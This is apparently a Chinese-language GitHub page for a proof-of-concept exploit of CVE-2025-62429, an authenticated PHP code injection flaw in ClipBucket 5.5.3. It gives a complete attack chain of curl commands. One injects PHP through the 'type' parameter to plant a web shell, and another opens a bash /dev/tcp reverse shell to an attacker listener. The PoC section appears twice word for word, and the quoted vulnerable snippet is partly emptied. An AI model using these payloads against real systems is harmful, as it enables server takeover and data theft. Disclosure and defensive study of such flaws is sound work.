drkim-dev/CVE-2025-62429
GitHub: drkim-dev/CVE-2025-62429
针对ClipBucket v5.5.3中CVE-2025-62429已认证RCE漏洞的概念验证,演示了通过PHP代码注入实现远程命令执行、Web Shell部署及反向Shell建立的完整攻击链。
Stars: 0 | Forks: 0
# CVE-2025-62429 PoC - clipbucket RCE
**通过 update_launch.php 中的 PHP Code Injection 实现 RCE 的概念验证**
**披露:** 最初由我通过 [GHSA-3h9c-7j8r-xc3v](https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-3h9c-7j8r-xc3v) 报告
⚠️ 仅限授权的渗透测试/研究使用。
## 漏洞信息
| 字段 | 值 |
|-------|-------|
| **CVE ID** | CVE-2025-62429 |
| **严重程度** | 🔴 高 |
| **CVSS 评分** | 7.2 |
| **CVSS 向量** | [CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H] |
| **CWE** | CWE-78: OS Command Injection, CWE-94: Code Injection |
| **受影响产品** | ClibBucket <= 5.5.3 - #79 |
| **已修复版本** | 5.5.3 - #80 |
| ** advisory** | [GHSA-3h9c-7j8r-xc3v](https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-3h9c-7j8r-xc3v) |
# CVE-2025-62429:通过 update_launch.php 中的 PHP Code Injection 实现已认证的远程代码执行 (RCE)
### 概述
ClipBucket v5.5.3-61 中存在一个**已认证的远程代码执行 (RCE)** 漏洞。该漏洞被归类为 **CWE-94: 代码生成控制不当('代码注入')**。应用程序未能正确清理用于在 `update_launch.php` 中生成可执行 PHP 代码的用户可控输入。已认证的管理员可以利用此漏洞在底层服务器上实现完整的命令执行,将权限从 Web 管理员提升为系统用户(例如 `containeruser`)。
### 详情
该漏洞位于 `upload/admin_area/actions/update_launch.php`。此脚本通过动态生成临时的 PHP 后台脚本来促进系统更新。
**易受攻击代码片段:** `upload/admin_area/actions/update_launch.php` (第 40-86 行)
```
// User input from $_POST['type'] is directly concatenated into a PHP string.
$data = '';
fwrite($tmp_file, $data);
fclose($tmp_file);
// The generated file is executed via shell_exec using the PHP CLI.
$cmd = System::get_binaries('php') . ' -q ' . DirPath::get('temp') . 'update_core_tmp.php';
shell_exec($cmd);
```
**利用机制:**
由于 `type` 参数在没有转义或清理的情况下被拼接到 `$data` 字符串中,攻击者可以使用单引号 (`'`) 跳出字符串文字上下文。然后,他们可以注入任意 PHP 函数(例如 `system()` 或 `file_put_contents()`),并使用 `//` 注释掉其余的原始代码。这导致以 PHP-CLI 进程的权限执行攻击者提供的代码。
### 前置条件
* **访问级别**:管理员权限。
* **身份验证**:有效的 `PHPSESSID` 会话 cookie。
### PoC (概念验证)
#### 阶段 1:验证与 Web Shell 部署 (持久化)
我们首先通过在文档根目录中部署一个持久化的 Web shell 来演示该漏洞。
1. 向易受攻击的端点发送特制的 POST 请求:
```
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', ''); //"
```
2. 通过获取系统标识来确认执行:
```
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# 预期响应: uid=1000(containeruser) gid=1000(containeruser) ...
```
#### 阶段 2:Reverse Shell (完全控制系统)
在确认 RCE 后,建立一个交互式 shell 以便进行后续渗透。
1. 在攻击者机器上启动 Netcat 监听器:
```
nc -lvnp 4444
```
2. 通过部署的 Web shell 触发 reverse shell:
```
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
```
攻击者机器接收到连接,授予作为 `containeruser` 的完全交互式 shell 访问权限。
### 影响
成功的利用允许攻击者执行任意系统命令。这会导致:
* **完全数据访问**:能够读取敏感的配置文件(例如 `config.inc.php`)和整个数据库。
* **系统完整性破坏**:修改或删除 Web 服务器进程可访问的任何文件。
* **横向移动**:被攻陷的主机可以作为内部基础设施中进一步攻击的跳板。
### 相关 Advisory / CVE 参考
此问题与先前披露的漏洞有关:
- GHSA-3x4g-x3gv-rjmq
- CVE-2025-62429
经过进一步分析,发现由于修复不完整,该漏洞在 ClipBucket v5.5.3 中仍然存在。
虽然最初的 advisory 解决了部分问题,但通过 `update_launch.php` 中的 `type` 参数进行的 PHP Code Injection 向量仍然可被利用。
此 advisory 提供了额外的技术细节、在最新版本上的验证以及完整的端到端利用场景。
**利用机制:**
由于 `type` 参数在没有转义或清理的情况下被拼接到 `$data` 字符串中,攻击者可以使用单引号 (`'`) 跳出字符串文字上下文。然后,他们可以注入任意 PHP 函数(例如 `system()` 或 `file_put_contents()`),并使用 `//` 注释掉其余的原始代码。这导致以 PHP-CLI 进程的权限执行攻击者提供的代码。
### 前置条件
* **访问级别**:管理员权限。
* **身份验证**:有效的 `PHPSESSID` 会话 cookie。
### PoC (概念验证)
#### 阶段 1:验证与 Web Shell 部署 (持久化)
我们首先通过在文档根目录中部署一个持久化的 Web shell 来演示该漏洞。
1. 向易受攻击的端点发送特制的 POST 请求:
```
curl -X POST "http://[TARGET_IP]/admin_area/actions/update_launch.php" \
-H "Cookie: PHPSESSID=[ADMIN_SESSION_ID]" \
-d "type=core'; file_put_contents(dirname(__DIR__, 2).'/vuln.php', ''); //"
```
2. 通过获取系统标识来确认执行:
```
curl -s "http://[TARGET_IP]/vuln.php?cmd=id"
# 预期响应: uid=1000(containeruser) gid=1000(containeruser) ...
```
#### 阶段 2:Reverse Shell (完全控制系统)
在确认 RCE 后,建立一个交互式 shell 以便进行后续渗透。
1. 在攻击者机器上启动 Netcat 监听器:
```
nc -lvnp 4444
```
2. 通过部署的 Web shell 触发 reverse shell:
```
curl -G "http://[TARGET_IP]/vuln.php" \
--data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/[KALI_IP]/4444 0>&1'"
```
标签:CISA项目, ClipBucket, Cutter, CVE-2025-62429, CWE-78, CWE-94, PHP代码注入, PHP安全, RCE, Web安全, 协议分析, 命令注入, 应用安全, 权限提升, 漏洞 PoC, 漏洞分析, 漏洞复现, 编程工具, 网络安全, 蓝队分析, 路径探测, 远程代码执行, 隐私保护, 高危漏洞